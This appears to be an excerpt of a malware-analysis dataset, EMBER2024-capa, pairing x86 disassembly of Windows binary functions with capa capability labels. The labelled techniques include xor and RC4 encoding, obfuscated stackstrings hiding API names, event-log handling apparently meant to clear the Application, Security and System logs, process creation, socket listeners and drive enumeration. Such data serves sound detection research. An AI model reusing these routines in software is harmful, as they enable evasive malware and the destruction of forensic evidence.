joyce8/EMBER2024-capa huggingface dataset:
Function at 0x70e62403
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, edx
mov edi, dword [ebx + 0x1c]
mov edx, dword [eax + 0x1c]
mov eax, dword [eax + 0xf4]
mov esi, ecx
shl edi, 3
lea ecx, [edi + edi]
push ecx
push edx
push eax
push esi
mov dword [esp + 0x20], edi
call fcn.70e621c6
mov eax, dword [ebx + 0xc]
test eax, eax
jle 0x70e6248d
mov ebx, dword [esp + 0x1c]
mov edx, esi
sub ebx, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x1c], eax
push ebp
mov ecx, dword [edx + ebx]
mov eax, dword [edx]
xor esi, esi
test edi, edi
jbe 0x70e6247a
movzx edx, byte [eax + 1]
movzx ebx, byte [eax]
mov ebp, esi
add ebp, edx
add ebx, ebp
sar ebx, 1
mov byte [ecx], bl
inc ecx
xor esi, 1
add eax, 2
dec edi
jne 0x70e62453
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
add edx, 4
dec eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x20], eax
jne 0x70e62448
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x70e62558
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, edx
mov ebx, dword [esi + 0x1c]
mov edx, dword [eax + 0x1c]
mov eax, dword [eax + 0xf4]
push edi
mov edi, ecx
shl ebx, 3
lea ecx, [ebx + ebx]
push ecx
push edx
push eax
push edi
mov dword [esp + 0x30], ebx
call fcn.70e621c6
mov ebp, dword [esi + 0xc]
xor ecx, ecx
test ebp, ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], ebp
jle 0x70e6260e
mov edx, edi
mov dword [esp + 0x14], edx
test ebx, ebx
mov eax, dword [esp + 0x2c]
mov esi, dword [eax + ecx*4]
mov eax, dword [edx]
mov edi, 1
jbe 0x70e625fe
mov ecx, dword [edx + 4]
sub ecx, eax
mov dword [esp + 0x10], ebx
lea esp, [esp]
movzx ebx, byte [ecx + eax]
movzx edx, byte [ecx + eax + 1]
add edx, ebx
movzx ebx, byte [eax + 1]
mov dword [esp + 0x1c], ecx
movzx ecx, byte [eax]
add ebx, edi
add ebx, edx
add ecx, ebx
sar ecx, 2
mov byte [esi], cl
mov ecx, dword [esp + 0x10]
inc esi
xor edi, 3
add eax, 2
dec ecx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x1c]
jne 0x70e625b7
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
add edx, 8
inc ecx
cmp ecx, ebp
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
jl 0x70e62599
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 4
Function at 0x10001960
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001a868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi], 0x1001b214
mov al, 0x45
mov cl, 0x74
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x6c
mov byte [esp + 0x1f], cl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], al
mov byte [esp + 0x27], al
mov al, 0x65
mov byte [esp + 0x28], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
xor ebx, ebx
mov dl, 0x69
push eax
push ecx
mov dword [esp + 0x40], ebx
mov byte [0x10021c3c], bl
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], dl
mov byte [esp + 0x28], 0x46
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], dl
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], 0x67
mov byte [esp + 0x31], 0x4f
mov byte [esp + 0x32], 0x62
mov byte [esp + 0x33], 0x6a
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0x14]
push 0xffffffffffffffff
push edx
call eax
mov ecx, dword [esi + 0x10]
cmp ecx, ebx
je 0x10001a60
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, esi
mov dword [esp + 0x38], 0xffffffff
call fcn.1000b480
mov ecx, dword [esp + 0x30]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x10002080
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001a8d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001c30
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001c30
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001c30
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001c30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov cl, 0x74
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x1c], cl
mov byte [esp + 0x22], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1001b228
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [0x10021c28]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x54
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], 0x6a
mov byte [esp + 0x13], 0x68
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x75
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002230
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001a91c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x1001b228
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x1001f0a0
mov dword [esp + 0x44], 3
call edi
add esp, 4
xor ebx, ebx
mov byte [esi + 0xb5], bl
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x45
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov al, 0x6c
mov byte [esp + 0x27], cl
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x2f], al
mov al, 0x65
mov byte [esp + 0x30], al
mov byte [esp + 0x34], al
mov byte [esp + 0x36], cl
lea eax, [esp + 0x24]
lea ecx, [esp + 0x14]
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], bl
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], dl
mov byte [esp + 0x30], 0x46
mov byte [esp + 0x31], 0x6f
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x67
mov byte [esp + 0x39], 0x4f
mov byte [esp + 0x3a], 0x62
mov byte [esp + 0x3b], 0x6a
mov byte [esp + 0x3d], 0x63
mov byte [esp + 0x3f], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa4]
push 0xffffffffffffffff
push edx
call eax
push 0x1001f0a0
call edi
mov eax, dword [esi + 0xa8]
add esp, 4
cmp eax, 0xffffffff
je 0x1000235f
mov ecx, esi
call fcn.100029f0
push 0x1001f0a0
call edi
mov eax, dword [esi + 0xa4]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push eax
call ebp
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [esi + 0xac]
add esp, 4
push ecx
call ebp
push 0x1001f0a0
call edi
add esp, 4
call dword [0x10021c2c]
lea ecx, [esi + 0x7c]
mov byte [esp + 0x40], 2
call fcn.10001c90
lea ecx, [esi + 0x54]
mov byte [esp + 0x40], 1
call fcn.10001c90
lea ecx, [esi + 0x2c]
mov byte [esp + 0x40], bl
call fcn.10001c90
lea ecx, [esi + 4]
mov dword [esp + 0x40], 0xffffffff
call fcn.10001c90
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x10005190
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b250
push 0x1001a298
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10005307
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005247
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005247
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005222
cmp al, 0x5c
je 0x10005222
push esi
call dword [0x10021bac]
mov esi, eax
jmp 0x1000520a
cmp byte [esi], 0
je 0x1000522b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005240
cmp al, 0x5c
je 0x10005240
push esi
call dword [0x10021bac]
mov esi, eax
jmp 0x10005228
cmp byte [esi], 0
je 0x10005266
jmp 0x10005262
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10005266
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005266
cmp al, 0x5c
jne 0x10005266
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x100052cb
cmp al, 0x5c
jne 0x100052bd
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x100052b0
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100052ba
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100052ba
push 0
call ebx
push edi
jmp 0x100052fe
and eax, 0x10
cmp al, 0x10
je 0x100052ba
push edi
jmp 0x100052fe
mov byte [esi], 0x5c
push esi
call dword [0x10021bac]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x1000526c
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10005390
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push 0x100
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000554e
jmp 0x1000540b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x100054bb
cmp al, 0x42
je 0x100054bb
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100054bb
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.1001a2a0
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.1001a2a0
mov dword [esp + 0x14], eax
jmp 0x100054c1
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10005409
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.1000b4b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x100071e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10007202
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100103b0
add esp, 8
test al, al
jne 0x10007216
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.zhongjie
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x100072f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
lea eax, [esp + 0x14]
push edi
mov edi, dword [0x10021ad0]
mov dword [esp + 0x18], str.Application
mov dword [esp + 0x1c], str.Security
mov dword [esp + 0x20], str.System
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 3
mov bl, 0x6c
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx]
push edx
push 0
call dword [0x10021ad4]
mov esi, eax
test esi, esi
je 0x100073e5
push 0
push esi
call edi
lea eax, [esp + 0x34]
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x56
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0x50
mov byte [esp + 0x31], 0x49
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
mov byte [esp + 0x3c], 0x43
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x73
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x45
mov byte [esp + 0x42], 0x76
mov byte [esp + 0x43], 0x65
mov byte [esp + 0x44], 0x6e
mov byte [esp + 0x45], 0x74
mov byte [esp + 0x46], 0x4c
mov byte [esp + 0x47], 0x6f
mov byte [esp + 0x48], 0x67
mov byte [esp + 0x49], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push esi
call eax
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
add ecx, 4
dec eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jne 0x1000732d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret
Function at 0x100088f0
Capabilities:
Create thread

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [0x10021c28]
test eax, eax
jne 0x100089df
push 6
push 1
push 2
call dword [0x10021bdc]
mov edi, eax
cmp edi, 0xffffffff
je 0x100089df
mov dx, word [0x10022120]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [0x10021bd4]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [0x10021c10]
cmp eax, 0xffffffff
je 0x100089df
push ebx
push ebp
push esi
push 0x32
push edi
call dword [0x10021c1c]
cmp eax, 0xffffffff
jne 0x1000898c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [0x10021c18]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10008998
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10008450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x100089d6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10008998
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008998
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10009550
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001aae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0xc], esi
call fcn.1000b390
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esp + 0x14], 0
mov dword [esi], 0x1001b25c
je 0x1000959b
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100095ad
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x100095bd
push eax
push 0x10022430
call edi
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x24]
push 0
push 0
push 0
push 0
push 0x10006d40
push 0
mov dword [0x1001f488], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call fcn.1000f670
add esp, 0x1c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x18
Function at 0x1000c480
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001abb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000be00
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000c57a
test ebx, ebx
jbe 0x1000c522
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000bec0
test eax, eax
je 0x1000c571
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000bf20
test eax, eax
je 0x1000c571
mov ecx, dword [esp + 0x10]
call fcn.1000c200
jmp 0x1000c57a
mov ecx, dword [esp + 0x10]
call fcn.1000c1e0
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000be60
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000c5e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001abd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000be00
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000c70a
test ebp, ebp
jbe 0x1000c70a
test esi, esi
jle 0x1000c6a4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000bec0
test eax, eax
jne 0x1000c691
mov ecx, dword [esp + 0x10]
call fcn.1000c1e0
jmp 0x1000c70a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000c0d0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000c6f8
call fcn.1000c200
jmp 0x1000c6fd
call fcn.1000c1e0
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000be60
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4